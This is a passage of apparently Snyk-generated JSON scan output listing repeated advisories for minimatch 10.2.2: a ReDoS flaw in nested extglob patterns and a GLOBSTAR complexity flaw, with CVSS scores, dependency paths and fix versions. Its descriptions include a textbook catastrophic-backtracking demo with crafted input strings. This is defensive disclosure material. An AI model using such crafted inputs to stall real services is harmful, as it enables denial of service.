"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR 